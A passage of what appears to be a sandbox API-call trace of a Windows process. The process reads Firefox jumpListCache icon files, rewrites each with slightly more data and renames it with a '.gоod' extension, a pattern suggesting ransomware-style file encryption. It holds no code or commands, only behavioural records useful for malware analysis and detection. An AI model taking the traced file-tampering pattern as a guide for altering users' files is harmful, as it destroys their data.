lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", lpFilePart=0x0) returned 0x72 [0222.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0222.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0222.571] GetFileType (hFile=0x808) returned 0x1 [0222.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0222.571] GetFileType (hFile=0x808) returned 0x1 [0222.571] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209edbf8 | out: lpFileSizeHigh=0x209edbf8*=0x0) returned 0x5e9 [0222.571] ReadFile (in: hFile=0x808, lpBuffer=0x35c94a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb28, lpOverlapped=0x0 | out: lpBuffer=0x35c94a8*, lpNumberOfBytesRead=0x209edb28*=0x5e9, lpOverlapped=0x0) returned 1 [0222.750] CloseHandle (hObject=0x808) returned 1 [0223.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", lpFilePart=0x0) returned 0x72 [0223.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.392] GetFileType (hFile=0x860) returned 0x1 [0223.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.392] GetFileType (hFile=0x860) returned 0x1 [0223.392] WriteFile (in: hFile=0x860, lpBuffer=0x3640470*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x209eda38, lpOverlapped=0x0 | out: lpBuffer=0x3640470*, lpNumberOfBytesWritten=0x209eda38*=0x5f0, lpOverlapped=0x0) returned 1 [0223.393] CloseHandle (hObject=0x860) returned 1 [0223.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", lpFilePart=0x0) returned 0x72 [0223.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico.gоod", lpFilePart=0x0) returned 0x77 [0223.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x815d8f1c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0223.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.393] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\cpgbjoau4sgmj94wzxvybg==.ico.gоod")) returned 1 [0223.394] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", lpFilePart=0x0) returned 0x72 [0223.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0223.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), fInfoLevelId=0x0, lpFileInformation=0x3641808 | out: lpFileInformation=0x3641808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18c)) returned 1 [0223.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0223.394] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", lpFilePart=0x0) returned 0x72 [0223.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.394] GetFileType (hFile=0x860) returned 0x1 [0223.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.394] GetFileType (hFile=0x860) returned 0x1 [0223.394] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x209edbf8 | out: lpFileSizeHigh=0x209edbf8*=0x0) returned 0x18c [0223.394] ReadFile (in: hFile=0x860, lpBuffer=0x3641d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb28, lpOverlapped=0x0 | out: lpBuffer=0x3641d30*, lpNumberOfBytesRead=0x209edb28*=0x18c, lpOverlapped=0x0) returned 1 [0223.542] CloseHandle (hObject=0x860) returned 1 [0223.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", lpFilePart=0x0) returned 0x72 [0223.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.568] GetFileType (hFile=0x860) returned 0x1 [0223.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.568] GetFileType (hFile=0x860) returned 0x1 [0223.568] WriteFile (in: hFile=0x860, lpBuffer=0x360eb38*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x209eda38, lpOverlapped=0x0 | out: lpBuffer=0x360eb38*, lpNumberOfBytesWritten=0x209eda38*=0x190, lpOverlapped=0x0) returned 1 [0223.569] CloseHandle (hObject=0x860) returned 1 [0223.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", lpFilePart=0x0) returned 0x72 [0223.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico.gоod", lpFilePart=0x0) returned 0x77 [0223.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8177c9cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0223.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d+wy3cvuncc3wva6du1bzg==.ico.gоod")) returned 1 [0223.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", lpFilePart=0x0) returned 0x72 [0223.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0223.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), fInfoLevelId=0x0, lpFileInformation=0x360fed0 | out: lpFileInformation=0x360fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484)) returned 1 [0223.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0223.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", lpFilePart=0x0) returned 0x72 [0223.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.571] GetFileType (hFile=0x860) returned 0x1 [0223.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.571] GetFileType (hFile=0x860) returned 0x1 [0223.571] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x209edbf8 | out: lpFileSizeHigh=0x209edbf8*=0x0) returned 0x484 [0223.571] ReadFile (in: hFile=0x860, lpBuffer=0x36106f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb28, lpOverlapped=0x0 | out: lpBuffer=0x36106f0*, lpNumberOfBytesRead=0x209edb28*=0x484, lpOverlapped=0x0) returned 1 [0223.572] CloseHandle (hObject=0x860) returned 1 [0223.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", lpFilePart=0x0) returned 0x72 [0223.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.772] GetFileType (hFile=0x808) returned 0x1 [0223.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.772] GetFileType (hFile=0x808) returned 0x1 [0223.772] WriteFile (in: hFile=0x808, lpBuffer=0x35efe18*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x209eda38, lpOverlapped=0x0 | out: lpBuffer=0x35efe18*, lpNumberOfBytesWritten=0x209eda38*=0x490, lpOverlapped=0x0) returned 1 [0223.772] CloseHandle (hObject=0x808) returned 1 [0223.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", lpFilePart=0x0) returned 0x72 [0223.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico.gоod", lpFilePart=0x0) returned 0x77 [0223.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.773] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8196c522, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0223.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.773] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\d8tmbhcfnhdw5lq0g0tfja==.ico.gоod")) returned 1 [0223.774] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0223.774] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), fInfoLevelId=0x0, lpFileInformation=0x35f11b0 | out: lpFileInformation=0x35f11b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1587)) returned 1 [0223.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0223.774] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.774] GetFileType (hFile=0x808) returned 0x1 [0223.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.774] GetFileType (hFile=0x808) returned 0x1 [0223.774] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x1000 [0223.774] ReadFile (in: hFile=0x808, lpBuffer=0x35f16b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edbc8, lpOverlapped=0x0 | out: lpBuffer=0x35f16b8*, lpNumberOfBytesRead=0x209edbc8*=0x587, lpOverlapped=0x0) returned 1 [0223.776] CloseHandle (hObject=0x808) returned 1 [0223.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.777] GetFileType (hFile=0x808) returned 0x1 [0223.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.777] GetFileType (hFile=0x808) returned 0x1 [0223.777] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x1587 [0223.777] WriteFile (in: hFile=0x808, lpBuffer=0x35f29c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209edae8, lpOverlapped=0x0 | out: lpBuffer=0x35f29c8*, lpNumberOfBytesWritten=0x209edae8*=0x10, lpOverlapped=0x0) returned 1 [0223.777] CloseHandle (hObject=0x808) returned 1 [0223.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.777] GetFileType (hFile=0x808) returned 0x1 [0223.777] 